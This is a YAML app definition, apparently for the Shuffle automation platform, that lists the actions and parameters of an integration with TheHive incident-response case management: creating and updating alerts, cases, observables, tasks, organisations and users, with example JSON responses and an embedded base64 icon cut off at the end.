-authentication: - required: true - parameters: - - name: apikey - description: The Apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to use - example: "http://localhost:9000" - required: true - schema: - type: string - - name: organisation - description: The Organisation - example: "myorg" - required: false - schema: - type: string -actions: - - name: create_alert - description: Create an alert in TheHive - parameters: - - name: type - description: The type to use for the alert - example: "incident" - required: true - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: true - schema: - type: string - - name: sourceref - description: The source reference to use - example: "incident-1234" - required: true - schema: - type: string - - name: title - description: The title to use - example: "THIS IS AN INCIDENT, PANIC" - required: false - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - - name: artifacts - description: The artifacts to add - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: add_alert_artifact - description: Add an artifact to an alert (TheHive 4 ONLY) - parameters: - - name: alert_id - description: Alert identifier - example: "~1234" - required: true - schema: - type: string - - name: dataType - description: "Observable's type, must be a valid type, one of the defined data types in TheHive" - example: "ip" - required: true - schema: - type: string - - name: data - description: Observable's data/value - example: "8.8.8.8" - required: true - schema: - type: string - - name: message - description: Observable's description - example: "Extracted IP entity from product X" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED. Default: 2" - example: "2" - required: false - schema: - type: string - - name: ioc - description: "Observable's ioc flag, True to mark an observable as IOC. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: sighted - description: "Observable's sighted flag, True to mark the observable as sighted. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: ignoreSimilarity - description: "Observable's similarity ignore flag. Trueto ignore the observable during similarity computing" - example: "False" - required: false - multiline: false - schema: - type: string - - name: tags - description: List of observable tags - example: "ioc,alienvault,abuse.ch" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~4321", - "id": "~4321", - "createdBy": "user.1@example.com", - "createdAt": 1616443009693, - "_type": "case_artifact", - "dataType": "ip", - "data": "8.8.8.8", - "startDate": 1616443009693, - "tlp": 2, - "tags": [ - "test1" - ], - "ioc": false, - "sighted": false, - "message": "Test IP entity", - "reports": {}, - "stats": {} - } - ] - schema: - type: string - - name: create_case - description: Get an item from TheHive - parameters: - - name: template - description: The case template to be used - example: "MyCase Template" - required: false - multiline: false - schema: - type: string - - name: title - description: The title to use - example: "" - required: false - multiline: true - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: pap - description: The pap to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: flag - description: If case is flagged or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - - name: custom_fields - description: Case customfields to be used - example: | - { - "mystrcustomfield": "blah blah blah", - "myintcustomfield": 1234, - "myboolcustomfield": False, - "myfloatcustomfield": 12.3456, - ... - } - required: false - multiline: true - schema: - type: string - - name: custom_json - description: Case fields to be updated in json format - example: | - { - "title": "MyCase title", - "customfields": { - "myboolcustomfield": { - "boolean": false, - "order": 0 - }, - "myintcustomfield": { - "integer": 1234, - "order": 1 - }, - } - ... - } - required: false - multiline: true - schema: - type: string - returns: - schema: - type: string - - name: create_case_from_alert - description: Create a case from alert - parameters: - - name: alert_id - description: The alert to promote it - example: "" - required: true - schema: - type: string - - name: case_template - description: Case template name to apply when creating the case - example: "" - required: false - schema: - type: string - returns: - schema: - type: string - - name: merge_alert_into_case - description: Merge alert into case. Each observable of the alert will be added to the case if it doesn't exist in the case. The description of the alert will be appended to the case's description. - parameters: - - name: alert_id - description: The alert to merge into case - example: "" - required: true - schema: - type: string - - name: case_id - description: The case to merge it to - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_case_artifact - description: Add an observable to TheHive - parameters: - - name: case_id - description: The case to add it to - example: "~123456" - required: true - schema: - type: string - - name: data - description: The item to add itself - example: "shuffler.io" - required: true - schema: - type: string - - name: datatype - description: The type of the item to add - example: "domain" - required: true - schema: - type: string - - name: tags - description: The tags to use - example: "shuffle,is,cool" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: ioc - description: If artifact is ioc or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: boolean - - name: sighted - description: If artifact was sighted or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: boolean - - name: description - description: Artifact description - example: "One of the best Artifacts" - required: false - multiline: true - schema: - type: string - returns: - schema: - type: string - - name: get_item - description: Get an item from TheHive - parameters: - - name: field_type - description: The type to get (alert, case..) - example: "alert" - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to retrieve - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: update_field - description: Update an alert field - parameters: - - name: field_type - description: The type to modify (alert, case..) - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to modify - required: true - schema: - type: string - - name: field - description: The field to modify - required: true - schema: - type: string - - name: data - description: The data to set the field to. If you want to append to what already exists, start with %s. - required: true - multiline: true - schema: - type: string - returns: - schema: - type: number - - name: search_case_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "injection" - required: true - schema: - type: string - - name: custom_search - description: custom search Query - parameters: - - name: search_for - description: select case or alert - options: - - case - - alert - required: true - schema: - type: string - - name: custom_query - description: Custom query for search - example: "{\"_field\": \"title\", \"_value\": \"shuffle\"}" - multiline: true - required: true - schema: - type: string - - name: search_alert_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "alert" - multiline: true - required: true - schema: - type: string - - name: search_range - description: The amount of alerts to get. Defaults to 0-25 - example: "0-50" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_alert - description: Close an alert in thehive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: reopen_alert - description: Reopen an alert in TheHive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - - name: run_analyzer - description: Reopen an alert in TheHive - parameters: - - name: cortex_id - description: The cortex ID - example: "MISP_2_0" - required: true - schema: - type: string - - name: analyzer_id - description: The analyzer to run - example: "MISP_2_0" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_task_log - description: Creates a task log in TheHive - parameters: - - name: task_id - description: The task ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: message - description: The message to send - example: "A nice screenshot " - required: true - multiline: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: false - schema: - type: file - - name: mime_type - description: The file mime type - example: "image/png" - required: false - schema: - type: string - - name: delete_alert_artifact - description: Deletes and artifact from a TheHive alert - parameters: - - name: artifact_id - description: The artifact ID to delete - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_case_file_artifact - description: Creates a task log in TheHive - parameters: - - name: case_id - description: The case ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - returns: - schema: - type: string - - name: create_alert_file_observable - description: Add a file observable to alert - parameters: - - name: alert_id - description: The alert ID - example: "~29009" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_case_artifacts - description: Get all artifacts of a given case - parameters: - - name: case_id - description: Case ID - example: "~1282096" - required: true - schema: - type: string - - name: dataType - description: Data Type - example: "ip" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~1134608", - "_type": "case_artifact", - "createdAt": 1617032160728, - "createdBy": "soar_api@shuffle.local", - "data": "myuser", - "dataType": "other", - "id": "~1134608", - "ioc": true, - "message": "Offense source", - "reports": {}, - "sighted": false, - "startDate": 1617032160728, - "stats": {}, - "tags": [ - "Offense Source", - "QRadar" - ], - "tlp": 2 - } - ] - schema: - type: string - - name: close_case - description: Closes a case in TheHive - parameters: - - name: id - description: The case id - example: "~123456" - required: true - multiline: false - schema: - type: string - - name: resolution_status - description: Resolution status to be used - example: "FalsePositive" - required: true - multiline: false - options: - - "" - - FalsePositive - - TruePositive - - Indeterminate - - Duplicated - - Other - schema: - type: string - - name: impact_status - description: Case impact status to be used - example: "NotApplicable" - required: true - multiline: false - options: - - "" - - NotApplicable - - NoImpact - - WithImpact - schema: - type: string - - name: summary - description: Case summary to be updated - example: "MyCase summary" - required: true - multiline: true - schema: - type: string - - name: update_case - description: Update case in TheHive - parameters: - - name: id - description: The case id - example: "~123456" - required: true - multiline: false - schema: - type: string - - name: title - description: The case title to be used - example: "MyCase Title" - required: false - multiline: false - schema: - type: string - - name: description - description: The case description to be used - example: "MyCase description" - required: false - multiline: false - schema: - type: string - - name: severity - description: "Case's severity: 1, 2, 3, 4 for LOW, MEDIUM, HIGH, CRTICAL" - example: 2 - required: false - multiline: false - options: - - 1 - - 2 - - 3 - - 4 - schema: - type: integer - - name: owner - description: The case owner to be used - example: "admin@thehive.local" - required: false - multiline: false - schema: - type: string - - name: flag - description: If case is flagged or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: pap - description: "Case's PAP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: tags - description: List of tags to be used - example: "tag1,tag2,tag3" - required: false - multiline: false - schema: - type: string - - name: status - description: Case status to be used - example: "Open" - required: true - multiline: false - options: - - "" - - Open - - Resolved - - Duplicated - - Deleted - schema: - type: string - - name: custom_fields - description: Case customfields to be used - example: | - { - "mystrcustomfield": "blah blah blah", - "myintcustomfield": 1234, - "myboolcustomfield": False, - "myfloatcustomfield": 12.3456, - ... - } - required: false - multiline: true - schema: - type: string - - name: custom_json - description: Case fields to be updated in json format - example: | - { - "title": "MyCase title", - "customfields": { - "myboolcustomfield": { - "boolean": false, - "order": 0 - }, - "myintcustomfield": { - "integer": 1234, - "order": 1 - }, - } - ... - } - required: false - multiline: true - schema: - type: string - returns: - schema: - type: string - - name: update_alert - description: Update alert in TheHive - parameters: - - name: id - description: The alert id - example: "~123949208" - required: true - multiline: false - schema: - type: string - - name: alerttype - description: The type to use for the alert - example: "incident" - required: false - multiline: false - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: false - multiline: false - schema: - type: string - - name: sourceRef - description: The source reference to use - example: "incident-1234" - required: false - multiline: false - schema: - type: string - - name: title - description: The alert title to be used - example: "MyAlert Title" - required: false - multiline: false - schema: - type: string - - name: description - description: The alert description to be used - example: "MyAlert description" - required: false - multiline: false - schema: - type: string - - name: tlp - description: "Alert's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - schema: - type: integer - - name: pap - description: "Alert's PAP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - schema: - type: integer - - name: severity - description: "Alert's severity: 1, 2, 3, 4 for LOW, MEDIUM, HIGH, CRTICAL" - example: 2 - required: false - multiline: false - schema: - type: integer - - name: tags - description: List of tags to be used - example: "tag1,tag2,tag3" - required: false - multiline: false - schema: - type: string - - name: custom_fields - description: Alert customfields to be used - example: | - { - "mystrcustomfield": "blah blah blah", - "myintcustomfield": 1234, - "myboolcustomfield": False, - "myfloatcustomfield": 12.3456, - ... - } - required: false - multiline: true - schema: - type: string - returns: - schema: - type: string - - name: get_organisations - description: Get all TheHive organisations - returns: - example: | - [ - { - "_id": "~16504", - "_type": "organisation", - "createdAt": 1619086806515, - "createdBy": "system@thehive.local", - "description": "organisation for administration", - "id": "~16504", - "links": [], - "name": "admin" - }, - { - "_id": "~3420280", - "_type": "organisation", - "createdAt": 1619086920858, - "createdBy": "admin@thehive.local", - "description": "demo organisation", - "id": "~3420280", - "links": [], - "name": "demo" - } - ] - schema: - type: string - - name: create_organisation - description: Create a new organisation in TheHive - parameters: - - name: name - description: Organisation name - example: "MyOrgName" - required: true - schema: - type: string - - name: description - description: Organisation description - example: "MyOrg is the best!" - required: true - schema: - type: string - returns: - example: | - { - "_id": "~40964112", - "_type": "organisation", - "createdAt": 1623885332433, - "createdBy": "admin@thehive.local", - "description": "inu", - "id": "~40964112", - "links": [], - "name": "bruh" - } - schema: - type: string - - name: create_user - description: Create a new user in TheHive - parameters: - - name: login - description: User login - example: "newuser@thehive.local" - required: true - schema: - type: string - - name: name - description: User Name - example: "FirstName LastName" - required: true - schema: - type: string - - name: profile - description: User profile - example: "read-only" - required: true - options: - - org-admin - - analyst - - read-only - schema: - type: string - returns: - example: | - { - "_createdAt": 1623887155861, - "_createdBy": "admin@thehive.local", - "_id": "~16488", - "hasKey": false, - "hasMFA": false, - "hasPassword": false, - "locked": false, - "login": "shuffle@thehive.local", - "name": "Shuffle Soar", - "organisation": "demo", - "organisations": [], - "permissions": [ - "manageShare", - "manageAnalyse", - "manageTask", - "manageCaseTemplate", - "manageCase", - "manageUser", - "manageProcedure", - "managePage", - "manageObservable", - "manageTag", - "manageConfig", - "manageAlert", - "accessTheHiveFS", - "manageAction" - ], - "profile": "org-admin" - } - schema: - type: string - - name: update_case_artifact - description: Update case artifact in TheHive - parameters: - - name: id - description: The artifact id - example: "~123456" - required: true - multiline: false - schema: - type: string - - name: description - description: The artifact description to be used - example: "My artifact description" - required: false - multiline: true - schema: - type: string - - name: tlp - description: "Artifacts's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: ioc - description: If artifact is an IOC or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: sighted - description: If artifact was sighted or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: tags - description: List of tags to be used - example: "tag1,tag2,tag3" - required: false - multiline: false - schema: - type: string - - name: custom_json - description: Case fields to be updated in json format - example: | - { - "description": "MyCase title", - "ioc": True, - "sighted": False, - "tags": [ - "tag1", - "tag2" - ], - ... - } - required: false - multiline: true - schema: - type: string - returns: - example: | - { - "_id": "~40972472", - "id": "~40972472", - "createdBy": "admin@thehive.local", - "updatedBy": "admin@thehive.local", - "createdAt": 1623882071591, - "updatedAt": 1625314869926, - "_type": "case_artifact", - "dataType": "hash", - "data": "65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5", - "startDate": 1623882071591, - "tlp": 1, - "tags": [], - "ioc": true, - "sighted": true, - "message": "Imported from MISP event\n\n**QRadar Offense:** [Got to](https://test.com)", - "reports": {}, - "stats": {}, - "ignoreSimilarity": false - } - schema: - type: string - - name: create_task - description: Create a new organisation in TheHive - parameters: - - name: case_id - description: Case ID to create task - example: "~123456" - required: true - schema: - type: string - - name: title - description: Task title - example: "MyTask title" - required: true - schema: - type: string - - name: description - description: Task description - example: "MyTask is the best!" - required: false - schema: - type: string - - name: status - description: If artifact was sighted or not - example: "Waiting" - required: false - multiline: false - options: - - "Waiting" - - "InProgress" - schema: - type: string - - name: flag - description: If case is flagged or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: group - description: Task group - example: "First Fase" - required: false - schema: - type: string - - name: custom_json - description: Case fields to be updated in json format - example: | - { - "Title": "MyTask title", - "flag": True, - "group": "Special", - ... - } - returns: - example: | - { - "id": "~82014416", - "_id": "~82014416", - "createdBy": "admin@thehive.local", - "updatedBy": "admin@thehive.local", - "createdAt": 1625355765365, - "_type": "case_task", - "title": "Test3", - "group": "Special", - "description": "description of task", - "owner": "admin@thehive.local", - "status": "Waiting", - "flag": true, - "startDate": 1625355765735, - "order": 0 - } - schema: - type: string -large_image: data:image/png;base64,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